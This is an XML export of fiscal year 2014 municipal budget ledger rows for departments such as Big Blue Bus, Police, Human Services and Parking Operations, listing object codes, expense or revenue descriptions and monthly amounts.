<row _id="5468"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>616354.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>616354.0</total></row>
<row _id="5469"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>29086.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>29086.0</total></row>
<row _id="5470"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1200.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1200.0</total></row>
<row _id="5471"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>577064.0</object><object_description>OTHER MISCELLANEOUS EXPENSES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4305.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4305.0</total></row>
<row _id="5472"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4520152.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4520152.0</total></row>
<row _id="5473"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT CUSTOMER &amp; GOVT RELAT</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5050.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5050.0</total></row>
<row _id="5474"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT CUSTOMER &amp; GOVT RELAT</division_name><object>577065.0</object><object_description>MEMBERSHIP FEES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>769.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>769.0</total></row>
<row _id="5475"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>407030.0</object><object_description>PROP C FOOTHILL MITIGATION</object_description><category_code>658.0</category_code><category_code_description>Sales Tax</category_code_description><fiscal_year>2014</fiscal_year><july>-543804.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-543804.0</total></row>
<row _id="5476"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object>555020.0</object><object_description>OUTSIDE SERVICE-SECURITY</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>466000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>466000.0</total></row>
<row _id="5477"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>901347.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>901347.0</total></row>
<row _id="5478"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>555200.0</object><object_description>REIMBURSE ENGINEERING OFFICE</object_description><category_code>866.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>10836.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>10836.0</total></row>
<row _id="5479"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object xsi:nil="true" /><object_description>PRINTING - GENERAL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>500.0</total></row>
<row _id="5480"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>19</fund_id><fund_name>CDBG Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>UNREALIZED GAIN / LOSS</object_description><category_code>616.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2014</fiscal_year><july>-1000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-1000.0</total></row>
<row _id="5481"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>4038.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4038.0</total></row>
<row _id="5482"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>16120.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>16120.0</total></row>
<row _id="5483"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>732.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>732.0</total></row>
<row _id="5484"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1538.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1538.0</total></row>
<row _id="5485"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>566910.0</object><object_description>MAINTENANCE-PARKING FACILITIES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>117360.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>117360.0</total></row>
<row _id="5486"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>407501.0</object><object_description>CAPITAL GRANTS-MISC PROJ-TDA</object_description><category_code>657.0</category_code><category_code_description>Capital Grants</category_code_description><fiscal_year>2014</fiscal_year><july>-8855540.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-8855540.0</total></row>
<row _id="5487"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>407550.0</object><object_description>FIRE COMMERCIAL INSPECT FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-934400.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-934400.0</total></row>
<row _id="5488"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>522840.0</object><object_description>FUEL AND OIL TAXES-SVC EQUIP</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>15375.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>15375.0</total></row>
<row _id="5489"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>522830.0</object><object_description>FUEL AND OIL TAXES-REV EQUIP</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1025.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1025.0</total></row>
<row _id="5490"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>7872.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>7872.0</total></row>
<row _id="5491"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1022788.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1022788.0</total></row>
<row _id="5492"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>263606.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>263606.0</total></row>
<row _id="5493"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>327511.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>327511.0</total></row>
<row _id="5494"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>581375.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>581375.0</total></row>
<row _id="5495"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>11623.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>11623.0</total></row>
<row _id="5496"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2154.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2154.0</total></row>
<row _id="5497"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>544120.0</object><object_description>PERIODICALS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1538.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1538.0</total></row>
<row _id="5498"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>29076.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>29076.0</total></row>
<row _id="5499"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1729.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1729.0</total></row>
<row _id="5500"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>89875.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>89875.0</total></row>
<row _id="5501"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555850.0</object><object_description>PROGRAM SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>9711.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>9711.0</total></row>
<row _id="5502"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555850.0</object><object_description>PROGRAM SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4449.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4449.0</total></row>
<row _id="5503"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>562122.0</object><object_description>CHILD CARE CTR SUPPORT PROG</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>80000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>80000.0</total></row>
<row _id="5504"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>562154.0</object><object_description>FM SVC SM-SAPID &amp; ON THE MOVE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>43398.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>43398.0</total></row>
<row _id="5505"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>563111.0</object><object_description>WISE CONNECTIONS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>46586.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>46586.0</total></row>
<row _id="5506"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>563141.0</object><object_description>SM/MAL-MEALS ON WHEELS-GEN FND</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>48973.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>48973.0</total></row>
<row _id="5507"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>544040.0</object><object_description>BOOKS/PAMPHLETS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>50.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>50.0</total></row>
<row _id="5508"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>SPECIAL ENFORCEMENT DIV</division_name><object>522130.0</object><object_description>UTILITIES - WATER</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>15358.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>15358.0</total></row>
<row _id="5509"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>34</fund_id><fund_name>Stormwater Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>402730.0</object><object_description>SMURRF-CITY OF LA-O &amp; M</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-156825.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-156825.0</total></row>
<row _id="5510"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>43</fund_id><fund_name>Gas Tax Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577170.0</object><object_description>GAS TAXES REIMBURSEMENT</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2395940.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2395940.0</total></row>
<row _id="5511"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>34</fund_id><fund_name>Stormwater Management Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>577090.0</object><object_description>REIMBURSE WATER FUND</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>37068.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>37068.0</total></row>
<row _id="5512"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>103.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>103.0</total></row>
<row _id="5513"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>522180.0</object><object_description>BANK FEES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1500.0</total></row>
